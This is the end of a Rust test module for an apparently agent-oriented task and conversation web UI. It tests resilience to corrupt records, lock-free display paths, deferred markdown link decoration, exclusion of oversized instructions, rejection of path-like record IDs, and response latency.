25410        let bytes = serde_json::to_vec_pretty(&task).unwrap();
25411        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
25412        std::fs::write(&replacement, &bytes).unwrap();
25413        std::fs::File::options()
25414            .write(true)
25415            .open(&replacement)
25416            .unwrap()
25417            .set_times(std::fs::FileTimes::new().set_modified(modified))
25418            .unwrap();
25419        std::fs::rename(&replacement, &path).unwrap();
25420        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
25421        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
25422        std::fs::write(&path, "broken").unwrap();
25423        assert!(ui.find_task_for_run("run-b").is_err());
25424        std::fs::write(&path, bytes).unwrap();
25425        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
25426        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
25427        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
25428    }
25429
25430    #[tokio::test]
25431    async fn conversation_core_is_independent_of_unreadable_related_history() {
25432        let home = tempfile::tempdir().unwrap();
25433        let ui = delta_test_ui(home.path());
25434        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25435        std::fs::create_dir_all(ui.queue.root()).unwrap();
25436        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
25437        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
25438            .await
25439            .unwrap();
25440        assert_eq!(core.talk.id, id);
25441        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
25442    }
25443
25444    #[test]
25445    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
25446        let home = tempfile::tempdir().unwrap();
25447        let ui = delta_test_ui(home.path());
25448        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
25449        let directory = home.path().join("workers/jobs/abcdef");
25450        std::fs::create_dir_all(&directory).unwrap();
25451        let job = crate::worker::Job {
25452            id: "abcdef".into(),
25453            sequence: 1,
25454            kind: "chat".into(),
25455            key: id.clone(),
25456            payload: serde_json::json!({ "talk": id }),
25457            generation: "test".into(),
25458            version: None,
25459            status: crate::worker::Status::Running,
25460            result: None,
25461            pid: None,
25462            created_at: 0,
25463            finished_at: None,
25464        };
25465        std::fs::write(
25466            directory.join("job.json"),
25467            serde_json::to_vec(&job).unwrap(),
25468        )
25469        .unwrap();
25470        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
25471        let store =
25472            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
25473        let runtime = tokio::runtime::Builder::new_current_thread()
25474            .enable_all()
25475            .max_blocking_threads(1)
25476            .build()
25477            .unwrap();
25478        runtime.block_on(async {
25479            let (release, held) = std::sync::mpsc::channel();
25480            let (started, ready) = tokio::sync::oneshot::channel();
25481            let occupied = tokio::task::spawn_blocking(move || {
25482                started.send(()).unwrap();
25483                held.recv().unwrap();
25484            });
25485            ready.await.unwrap();
25486            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
25487            let bulk = ui
25488                .monitor
25489                .bulk_slots
25490                .clone()
25491                .acquire_many_owned(2)
25492                .await
25493                .unwrap();
25494            let result = tokio::time::timeout(
25495                Duration::from_secs(2),
25496                talk_core(State(ui.clone()), Path(id.clone())),
25497            )
25498            .await;
25499            // Release all blockers before assertions, including on a regression.
25500            drop(store);
25501            drop(bulk);
25502            release.send(()).unwrap();
25503            occupied.await.unwrap();
25504            let _ = secondary.await.unwrap().unwrap();
25505            let Json(core) = result
25506                .expect("transcript must bypass secondary work and the worker store lock")
25507                .unwrap();
25508            assert!(
25509                core.thinking,
25510                "read-only observation retains live worker state"
25511            );
25512            assert_eq!(core.talk.id, id);
25513            let admission_ui = ui.clone();
25514            let (release, held) = std::sync::mpsc::channel();
25515            let (started, ready) = tokio::sync::oneshot::channel();
25516            let admission = std::thread::spawn(move || {
25517                let _lock = admission_ui.talk_turns.lock().unwrap();
25518                started.send(()).unwrap();
25519                held.recv().unwrap();
25520            });
25521            ready.await.unwrap();
25522            let result = tokio::time::timeout(
25523                Duration::from_secs(2),
25524                talk_core(State(ui.clone()), Path(id.clone())),
25525            )
25526            .await;
25527            release.send(()).unwrap();
25528            admission.join().unwrap();
25529            assert!(
25530                result
25531                    .expect("display must not wait behind local admission")
25532                    .unwrap()
25533                    .0
25534                    .thinking
25535            );
25536            assert!(ui.is_thinking(&id));
25537            assert!(ui.is_thinking_observed(&id));
25538            drop(live);
25539            assert!(
25540                !ui.is_thinking_observed(&id),
25541                "a finished lease no longer appears live"
25542            );
25543            assert!(!ui.is_thinking(&id));
25544            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
25545            assert!(
25546                ui.is_thinking_observed(&id),
25547                "local admission remains visible"
25548            );
25549        });
25550    }
25551
25552    #[tokio::test]
25553    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
25554        let home = tempfile::tempdir().unwrap();
25555        let ui = delta_test_ui(home.path());
25556        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
25557        let mut task = Task::new(
25558            "Referenced task".into(),
25559            "Unrelated instruction history".repeat(1024),
25560            home.path().into(),
25561            Source::Human,
25562        );
25563        task.id = "20261019-000000-abcd".into();
25564        ui.queue.put(&mut task).unwrap();
25565        let mut conversation = ui.talks.get(&id).unwrap();
25566        conversation.turns.push(talk::Turn {
25567            sender: Some(talk::Sender::Persona),
25568            who: talk::Who::Agent,
25569            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
25570            at: conversation.created_at,
25571            attachments: Vec::new(),
25572            usage: None,
25573            breaks: None,
25574            messages: Vec::new(),
25575            posted_by: None,
25576        });
25577        ui.talks.put(&mut conversation).unwrap();
25578
25579        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
25580        let markdown = serde_json::to_value(&core.turn_bodies_md)
25581            .unwrap()
25582            .to_string();
25583        assert!(markdown.contains("\"strong\""));
25584        assert!(markdown.contains("\"table\""));
25585        assert!(markdown.contains("\"bullet_list\""));
25586        assert!(markdown.contains("\"code_block\""));
25587        assert!(!markdown.contains("\"internal_link\""));
25588        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
25589        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
25590        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
25591
25592        // Deferred decoration still resolves the same validated task, without
25593        // touching opaque code blocks or changing the original transcript.
25594        let references = ui.references.for_talk(home.path(), &conversation);
25595        let mut decorated = core.turn_bodies_md[0].clone();
25596        references.markdown(&mut decorated);
25597        let decorated = serde_json::to_value(decorated).unwrap().to_string();
25598        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
25599        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
25600        assert_eq!(
25601            ui.talks.get(&conversation.id).unwrap().turns[0].body,
25602            conversation.turns[0].body
25603        );
25604    }
25605
25606    #[tokio::test]
25607    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
25608        let home = tempfile::tempdir().unwrap();
25609        let ui = delta_test_ui(home.path());
25610        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25611        let mut run = RunState::new(
25612            PathBuf::from("/repo"),
25613            "main".into(),
25614            "01234567".into(),
25615            "Useful run".into(),
25616            Config::default(),
25617        );
25618        run.save_under(home.path()).unwrap();
25619        let mut task = Task::new(
25620            "Related".into(),
25621            "body".into(),
25622            PathBuf::from("/repo"),
25623            Source::Agent {
25624                run: talk_id.clone(),
25625                node: "chat".into(),
25626            },
25627        );
25628        task.runs = vec![run.id.clone()];
25629        ui.queue.put(&mut task).unwrap();
25630        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
25631        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
25632        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
25633        assert!(
25634            run_detail(State(ui.clone()), Path(run.id.clone()))
25635                .await
25636                .is_ok()
25637        );
25638        assert!(
25639            talk_sections(State(ui.clone()), Path(talk_id.clone()))
25640                .await
25641                .is_ok()
25642        );
25643        // Previously indexed corruption must not masquerade as no relationship.
25644        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
25645        assert!(ui.find_task_for_run(&run.id).is_err());
25646        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
25647        ui.queue.put(&mut task).unwrap();
25648        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
25649    }
25650
25651    #[tokio::test]
25652    async fn conversation_sections_omit_large_task_instructions() {
25653        let home = tempfile::tempdir().unwrap();
25654        let ui = delta_test_ui(home.path());
25655        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25656        let mut task = Task::new(
25657            "filed task".into(),
25658            "large instruction ".repeat(65536),
25659            PathBuf::from("/repo"),
25660            Source::Agent {
25661                run: id.clone(),
25662                node: "chat".into(),
25663            },
25664        );
25665        ui.queue.put(&mut task).unwrap();
25666        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
25667        assert_eq!(sections["tasks"][0]["id"], task.id);
25668        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
25669        assert!(sections["tasks"][0].get("instruction").is_none());
25670        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
25671    }
25672
25673    #[test]
25674    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
25675        let home = tempfile::tempdir().unwrap();
25676        let talks = Talks::at(home.path().join("talks"));
25677        seed_talk_at(&talks, "20261019-000001-abcd", "open");
25678        seed_talk_at(&talks, "20261019-000002-abcd", "open");
25679        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
25680        assert!(resolve_talk(&talks, "../outside").is_err());
25681        assert!(resolve_talk(&talks, "abcd").is_err());
25682        assert_eq!(
25683            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
25684            "20261019-000001-abcd"
25685        );
25686    }
25687
25688    include!(concat!(
25689        env!("CARGO_MANIFEST_DIR"),
25690        "/tests/web_latency/baseline.rs"
25691    ));
25692
25693    include!(concat!(
25694        env!("CARGO_MANIFEST_DIR"),
25695        "/tests/web_latency/lists.rs"
25696    ));
25697
25698    #[tokio::test]
25699    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
25700    async fn web_history_latency_measurement() {
25701        use std::time::Instant;
25702        let home = tempfile::tempdir().unwrap();
25703        let ui = delta_test_ui(home.path());
25704        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25705        let mut template = ui.talks.get(&id).unwrap();
25706        template.turns = serde_json::from_value(serde_json::json!([{
25707            "who": "operator", "body": "Show the accumulated work and its current status.",
25708            "at": Timestamp::now().to_string(),
25709        }]))
25710        .unwrap();
25711        std::fs::write(
25712            ui.talks.path_of(&id),
25713            serde_json::to_vec(&template).unwrap(),
25714        )
25715        .unwrap();
25716        let count = std::env::var("MAGI_BENCH_RECORDS")
25717            .ok()
25718            .and_then(|s| s.parse::<usize>().ok())
25719            .unwrap_or(1000);
25720        for i in 0..count {
25721            template.id = format!("20261019-{i:06}-history");
25722            template.pending = "history ".repeat(2048);
25723            std::fs::write(
25724                ui.talks.path_of(&template.id),
25725                serde_json::to_vec(&template).unwrap(),
25726            )
25727            .unwrap();
25728            let mut task = Task::new(
25729                "old task".into(),
25730                "instruction ".repeat(2048),
25731                PathBuf::from("/repo"),
25732                Source::Human,
25733            );
25734            task.id = format!("20261019-{i:06}-task");
25735            ui.queue.put(&mut task).unwrap();
25736        }
25737        for baseline in [true, false] {
25738            for clients in [1, 4] {
25739                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
25740                let mut samples = Vec::new();
25741                for _ in 0..12 {
25742                    let mut jobs = Vec::new();
25743                    for _ in 0..clients {
25744                        let ui = ui.clone();
25745                        let id = id.clone();
25746                        jobs.push(tokio::spawn(async move {
25747                            let start = Instant::now();
25748                            if baseline {
25749                                let response =
25750                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
25751                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
25752                                return (
25753                                    elapsed,
25754                                    elapsed,
25755                                    serde_json::to_vec(&response).unwrap().len(),
25756                                );
25757                            }
25758                            let core = talk_core(State(ui.clone()), Path(id.clone()));
25759                            let secondary = talk_sections(State(ui), Path(id));
25760                            let (first, total) = tokio::join!(
25761                                async {
25762                                    let value = core.await.unwrap().0;
25763                                    (
25764                                        start.elapsed().as_secs_f64() * 1000.0,
25765                                        serde_json::to_vec(&value).unwrap().len(),
25766                                    )
25767                                },
25768                                async {
25769                                    let value = secondary.await.unwrap().0;
25770                                    (
25771                                        start.elapsed().as_secs_f64() * 1000.0,
25772                                        serde_json::to_vec(&value).unwrap().len(),
25773                                    )
25774                                }
25775                            );
25776                            (first.0, first.0.max(total.0), first.1 + total.1)
25777                        }));
25778                    }
25779                    for job in jobs {
25780                        samples.push(job.await.unwrap());
25781                    }
25782                }
25783                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
25784                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
25785                first.sort_by(f64::total_cmp);
25786                total.sort_by(f64::total_cmp);
25787                let n = first.len();
25788                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
25789                println!(
25790                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
25791                    first[n / 2],
25792                    first[(n * 95 / 100).min(n - 1)],
25793                    total[n / 2],
25794                    total[(n * 95 / 100).min(n - 1)],
25795                    samples[0].2
25796                );
25797            }
25798        }
25799    }
25800
25801    #[test]
25802    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
25803        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
25804        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
25805        assert!(APP_JS.contains("function nextRunRequest(id)"));
25806        assert!(APP_JS.contains("function runShell(id, summary)"));
25807        assert!(APP_JS.contains("function nextTaskRequest(id)"));
25808        assert!(APP_JS.contains("function taskShell(id, summary)"));
25809        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
25810    }
25811}